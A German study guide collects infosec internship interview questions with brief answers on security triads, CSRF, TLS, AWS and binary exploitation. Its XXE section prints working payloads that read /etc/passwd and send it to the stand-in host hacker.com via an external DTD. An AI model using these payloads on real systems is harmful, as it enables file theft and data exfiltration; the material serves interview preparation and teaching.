Diese Seite ist eine Zusammenfassung der Interviews, die ich durchlaufen habe. Sie deckt eine ganze Bandbreite an Rollen ab. Ich habe zwar mehrere Absagen erhalten, aber aus jedem Interview gelernt, konstruktives Feedback gesammelt und bin vorangekommen.
Ich hoffe, diese Fragen/Tipps können dir helfen.
Die Rollen, die es im Allgemeinen abdeckt, sind wie folgt:
- Praktikum Cybersicherheit
- Praktikum Penetrationstests / Red Team
- Praktikum Web-App-/Anwendungssicherheit
- Praktikum Produktsicherheit
- Praktikum Infrastruktursicherheit
Kurzer Tipp:
- Überprüfe deinen Lebenslauf und stelle dir vorab selbst Fragen dazu
- Wenn dir eine Frage/ein Konzept nicht bekannt ist, weiche dem Thema nicht aus, sondern vermittle, dass du es lernen kannst, wenn du ein Umfeld zum Arbeiten bekommst
Du kannst nicht alles wissen. Sei bescheiden und gib zu, wenn du etwas falsch beantwortet hast oder eine Klarstellung benötigst
- Bereite vorab eine kurze Biografie über dich vor, um dich vorzustellen
- Sei dir über dein Endziel im Klaren und warum Infosec?
- Frage schließlich am Ende des Interviews nach Feedback, warum, weil: es hilft, die Lücken deines aktuellen Wissens im Bereich Infosec zu erkennen und zu schließen
Ich habe versucht, unten alle möglichen Fragen festzuhalten, auf die ich gestoßen bin, und für einige davon Antworten bereitgestellt.
Den Rest kannst du googeln, wenn du tiefer eintauchen möchtest. Außerdem gibt es am Ende ein paar Referenzen – wirf einen Blick darauf. Die waren wirklich hilfreich.
Ich würde gerne weitere Fragen hinzufügen, während ich vorankomme und meine Notizen durchgehe. Ich würde mich jedoch über konstruktives Feedback freuen, indem du mich über [email protected] kontaktierst. Wenn dir etwas begegnet, das hier nicht abgedeckt ist, teile es bitte gerne mit.
Häufige Fragen
- Security-Triaden:
Was ist CIA?
- Vertraulichkeit
- Integrität
- Verfügbarkeit
Was ist AAA?
- Authentifizierung
- Autorisierung
- Accounting
- Unterschied zwischen Bedrohung, Schwachstelle, Exploit und Risiko und wie diese mit Assets zusammenhängen
- Bedrohung:
Eine Bedrohung ist das, wovor wir uns schützen wollen
- Schwachstelle:
Eine Schwachstelle ist eine Schwäche oder Lücke in unseren Schutzbemühungen
- Exploit:
Eine Fähigkeit/ein Programm (kann eine Software oder eine Social-Engineering-Fähigkeit sein), das entwickelt wurde, um ein Asset anzugreifen, indem eine Schwachstelle ausgenutzt wird
- Risiko:
Risiko ist die Schnittmenge von Assets, Bedrohungen und Schwachstellen
- Asset:
Ein Asset ist das, was wir schützen wollen
- Was ist IAM und warum wird es verwendet?
IAM ist Identity Access Management, das verwendet wird, um Rollen und Verantwortlichkeiten innerhalb einer Organisation zu trennen. Es ist ein kritischer Bestandteil der Sicherheit. Es hilft bei der Aufrechterhaltung von Zugriffssicherheit und -privilegien
Sicherheit im Allgemeinen
Phasen eines Netzwerk-Intrusionsangriffs:
- Aufklärung / Informationssammlung
- Erlangen des benötigten Zugriffs
- Aufrechterhalten des Zugriffs
- Verwischen der Spuren (Löschen von Logs, Backdoors und Verbergen aller Kontrollen)
Webanwendungssicherheit
- Häufige Fragen:
-
OWASP Top 10
-
Was ist XSS (Cross-site Scripting)?
-
Was ist CSRF?
Das ist die schönste Frage, die jeder zweite Interviewer liebend gerne stellt
Kurzer Tipp: Sei kurz und erkläre die ganze Geschichte nur, wenn danach gefragt wird
Cross-Site Request Forgery (CSRF) ist ein Angriff, der einen Endbenutzer dazu zwingt, unerwünschte Aktionen in einer Webanwendung auszuführen, bei der er aktuell authentifiziert ist. CSRF-Angriffe zielen speziell auf zustandsverändernde Anfragen, nicht auf Datendiebstahl, da der Angreifer keine Möglichkeit hat, die Antwort auf die gefälschte Anfrage zu sehen. Mit ein wenig Social Engineering (z. B. durch das Senden eines Links per E-Mail oder Chat) kann ein Angreifer die Benutzer einer Webanwendung dazu verleiten, Aktionen auszuführen, die der Angreifer gewählt hat. Wenn das Opfer ein normaler Benutzer ist, kann ein erfolgreicher CSRF-Angriff den Benutzer dazu zwingen, zustandsverändernde Anfragen auszuführen, wie z. B. die Überweisung von Geldern, die Änderung der E-Mail-Adresse usw. Wenn das Opfer ein Administratorkonto ist, kann CSRF die gesamte Webanwendung gefährden.
-
Wie man CSRF bekämpft:
Verwende Anti-CSRF-Tokens
Verwende die Same-Origin-Policy
Verwendung des Referrer-Headers
-
Was ist HTML-/URL-Encoding?
-
Ist das HTTP-Protokoll zustandslos?
HTTP ist von Natur aus ein zustandsloses Protokoll, der Server verwendet jedoch Cookies, um es zustandsbehaftet zu machen
-
Welche Arten von Injections gibt es: SQL, Command, OS
-
Wie man SQL-Injections bekämpft
Verwende parametrisierte Abfragen und gespeicherte Prozeduren
- Achte auf Header, die zur Sicherheit beitragen (Überprüfe die URLs und arbeite den Inhalt durch, das hilft dir beim Aufbau deiner Grundlagen):
- Es gibt seltene Szenarien, in denen ein Interviewer diese Fragen stellt. Ich bin in späteren Phasen einiger Interviews auf die folgenden gestoßen und dachte, ich erwähne sie:
- Was ist XXE (XML External Entities)?
XML-External-Entity-Injection (auch bekannt als XXE) ist eine Websicherheits-Schwachstelle, die es einem Angreifer ermöglicht, die Verarbeitung von XML-Daten durch eine Anwendung zu beeinträchtigen. Sie erlaubt einem Angreifer oft, Dateien im Dateisystem des Anwendungsservers einzusehen und mit beliebigen Backend- oder externen Systemen zu interagieren, auf die die Anwendung selbst zugreifen kann.
Schau dir das an [https://portswigger.net/web-security/xxe]
z. B.:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
In manchen Situationen kann ein Angreifer einen XXE-Angriff eskalieren, um den zugrunde liegenden Server oder andere Backend-Infrastruktur zu kompromittieren, indem er die XXE-Schwachstelle ausnutzt, um Server-Side-Request-Forgery-Angriffe (SSRF) durchzuführen.
- Out-of-Band: Mithilfe von XML-Entities können Daten vom Server abgegriffen und an hacker.com gesendet werden (KEINE Serverausgabe erforderlich)
Einzufügen in: document.xml
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://hacker.com/evil.dtd">
%remote; %intern; %xxe;
]>
<root>&xxe;</root> - you can change xxe entity to general entity
Externer Host: http://hacker.com/evil.dtd
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % intern "<!ENTITY % xxe SYSTEM 'http://hacker.com/result-is?%payl;'>">
--- OR ---
<!ENTITY % intern "<!ENTITY % xxe SYSTEM 'file://%payl;'>"> - consider error-based
Ref: [https://phonexicum.github.io/infosec/xxe.html]
Netzwerksicherheit
- Unterschied zwischen symmetrischer und asymmetrischer Kryptografie
- Unterschied zwischen Public-Key-Kryptografie und asymmetrischer Schlüsselkryptografie: Beide sind dasselbe Knifflige Frage
- Modi in der Kryptografie (z. B. EBC, CBC usw.)
- Was ist Perfect Forward Secrecy?
[https://scotthelme.co.uk/perfect-forward-secrecy/]
Einfach ausgedrückt besteht die Hauptaufgabe von PFS darin, sicherzustellen, dass ein Angreifer im Falle der Kompromittierung des privaten Schlüssels eines Servers keine früheren TLS-Kommunikationen entschlüsseln kann. Perfect Forward Secrecy ist durch die Verwendung des ephemeren Diffie-Hellman-Schlüsselaustauschs möglich, der für jede Sitzung neue Schlüssel bereitstellt und so lange gültig ist, wie die Sitzung aktiv ist.
- Einblick in Cipher Suites:
z. B.: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
https://scotthelme.co.uk/https-cheat-sheet/
- Bei Datenkompression und Verschlüsselung: Was passiert zuerst, Kompression oder Verschlüsselung?
Kompression passiert zuerst, da die Entropie (Streuung) der Zufälligkeit in den Daten gering ist und somit eine höhere Kompression erreichbar ist. Daher ist es vorteilhaft, zuerst zu komprimieren und dann zu verschlüsseln.
- Unterschied zwischen Verschlüsselung, Encoding, Hashing und Obfuscation
https://danielmiessler.com/study/encoding-encryption-hashing-obfuscation/
- Was ist eine Rainbow-Table: Kurz gesagt, es ist eine Sammlung vorab berechneter Hashes
- Wie funktioniert TLS?
Das ist ein erstaunliches Bild, auf das ich gestoßen bin. Es hat mir geholfen, TLS in laienverständlicher Sprache zu verstehen
http://i.imgur.com/5T2fJsG.png
- Was ist Zertifikatssignierung?
- Wie funktioniert Traceroute?
- Wie funktioniert Nmap?
- Was ist eine Zertifizierungsstelle (CA)?
- Was ist eine DMZ und welche Komponenten sind daran beteiligt?
- Über welchen Port arbeitet Ping?
Eine Trickfrage, sicherlich, aber eine wichtige.
Hinweis: ICMP ist ein Layer-3-Protokoll (es arbeitet nicht über einen Port). Eine gute Variante dieser Frage ist zu fragen, ob Ping TCP oder UDP verwendet. Eine Antwort mit einem von beiden ist ein Fehlschlag, da es sich um Layer-4-Protokolle handelt.
Cloud-Sicherheit
Ich werde allgemein in Bezug auf AWS sprechen, es gibt jedoch auch andere Cloud-Anbieter wie Azure, GCP, Digital Ocean usw.
- Allgemeine Komponenten von AWS:
S3, EC2, Buckets, IAM, Cloud trial, Cloud watch
- Was ist IAM und was sind seine Komponenten? Kurz gesagt, IAM wird für das Zugriffsmanagement verwendet, wobei Rollen (für temporären Zugriff), Richtlinien (Policies), Gruppen und Benutzer für seine Funktionsweise genutzt werden.
- Was ist EC2? Es ist eine elastische Instanz zum Starten einer virtuellen Maschine.
- Verfügt EC2 über Verschlüsselung? Ja, das tut es. Die Amazon-EBS-Verschlüsselung bietet eine einfache Verschlüsselungslösung für deine EBS-Volumes, ohne dass du eine eigene Schlüsselverwaltungsinfrastruktur aufbauen, warten und absichern musst. Die Amazon-EBS-Verschlüsselung verwendet Kunden-Hauptschlüssel (CMKs) des AWS Key Management Service (AWS KMS) beim Erstellen von verschlüsselten Volumes und allen daraus erstellten Snapshots.
Mehr dazu findest du ... unten
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html
Binary Exploitation
- Tools, die zum Debuggen einer Binärdatei verwendet werden können:
Linux: gdb, radare, clutter (GUI für radare)
Windows: IDA, Binary Ninja
- Was ist Buffer Overflow?
- Was ist eine Format-String-Schwachstelle?
- Unterschied zwischen Stack- und Heap-Bereich (Es könnte sich lohnen, sich auch die Code-, Text- und BSS-Bereiche anzusehen)
- Was sind Stack Cookies?
- Was ist ASLR und warum wird es verwendet?
- Was ist nicht ausführbarer Speicher?
Referenzen
Lernressourcen:
https://regexone.com/ (Reguläre Ausdrücke sind ein Muss!)
https://portswigger.net/web-security/
OWASP Top 10:
https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf
Infosec-Interviewfragen:
https://danielmiessler.com/study/infosec_interview_questions
Top-Pentest-Fragen:
https://resources.infosecinstitute.com/top-30-penetration-tester-pentester-interview-questions-and-answers-for-2019/#gref
Python-Tipps:
https://www.codementor.io/sheena/essential-python-interview-questions-du107ozr6
AWS-Benutzerhandbuch:
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/concepts.html
SMB- und Samba-Einblick:
https://fitzcarraldoblog.wordpress.com/2016/10/17/a-correct-method-of-configuring-samba-for-browsing-smb-shares-in-a-home-network/